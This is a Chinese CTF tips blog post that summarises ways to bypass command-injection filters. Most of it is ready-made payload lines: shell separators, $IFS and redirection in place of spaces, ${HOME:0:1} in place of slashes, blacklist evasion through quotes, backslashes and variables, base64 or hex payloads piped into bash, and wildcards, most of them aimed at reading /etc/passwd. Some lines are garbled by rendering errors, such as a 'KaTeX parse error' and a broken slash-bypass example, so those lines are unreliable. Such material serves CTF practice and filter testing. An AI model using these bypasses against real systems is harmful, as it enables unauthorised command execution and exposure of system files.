[CTF技巧]命令注入绕过总结

命令分隔符

cat /etc/passwd;ls

分号 ;
cmd1;cmd2(多条语句顺序执行)

在这里插入图片描述

cat /etc/passwd && ls

and &&

cmd1&&cmd2 与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2

在这里插入图片描述

cat etc || ls

or ||

cmd1 || cmd2 cmd1执行失败则执行cmd2,若cmd1执行成功则不执行cmd2

在这里插入图片描述

管道符 |

| 管道符
管道符”|“左边的命令的输出会作为管道符”|“右边命令的输入

%0a、%0d

linux:
%0a 回车
%0d 换行
windows:
%0a 回车
%1a 作为.bat文件的命令分隔符

过滤空格绕过

使用<代替空格

cat /etc/passwd ---->>> cat</etc/passwd

在这里插入图片描述

使用${IFS}代替空格

cat /etc/passwd ---->>> cat${IFS}/etc/passwd

在这里插入图片描述

使用$IFS代替空格

cat /etc/passwd ---->>> cat$IFS/etc/passwd

在这里插入图片描述

过滤斜杠/绕过

使用${HOME:0:1}代替/

cat /etc/passwd ---->>> cat H O M E : 0 : 1 e t c {HOME:0:1}etc HOME:0:1etc{HOME:0:1}passwd

在这里插入图片描述

使用echo . | tr ‘!-0’ ‘"-1’ 代替/

cat /etc/passwd ---->>> cat KaTeX parse error: Double superscript at position 20: …o . | tr '!-0' '̲"-1')etc(echo . | tr ‘!-0’ ‘"-1’)passwd
注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行
在这里插入图片描述

黑名单绕过

拼接绕过

a=nc1;b=.py;cat a a ab

在这里插入图片描述

单引号‘和双引号“绕过

cat n’c’1.py

在这里插入图片描述

cat n“c”1.py

在这里插入图片描述

反斜杠\绕过

cat n\c\1.py

在这里插入图片描述

利用Shell 特殊变量绕过
变量含义
$0当前脚本的文件名
$n传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$#传递给脚本或函数的参数个数
$*传递给脚本或函数的所有参数,而参数不存在时其值为空。
$@传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同
$?上个命令的推出状态,或函数的返回值
$$当前shell进程ID

注意:当上述变量的值为空时,使用变量穿插在黑名单字符中即可绕过黑名单限制

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

编码绕过

核心:利用管道符”|“将左边命令的输入作为右边命令的输出

base64编码绕过

注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行

echo “Y2F0IG5jMS5weQ==”|base64 -d|bash

echo Y2F0IG5jMS5weQ== | base64 -d

$(echo Y2F0IG5jMS5weQ== | base64 -d)

执行顺序:输出base64编码内容------>base64解码其编码内容------>执行bash命令

在这里插入图片描述

16进制编码绕过

echo “636174206E63312E7079”|xxd -r -p|bash

在这里插入图片描述

通配符绕过
字符含义
*匹配任意长度任意字符
匹配任意单个字符

在这里插入图片描述

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值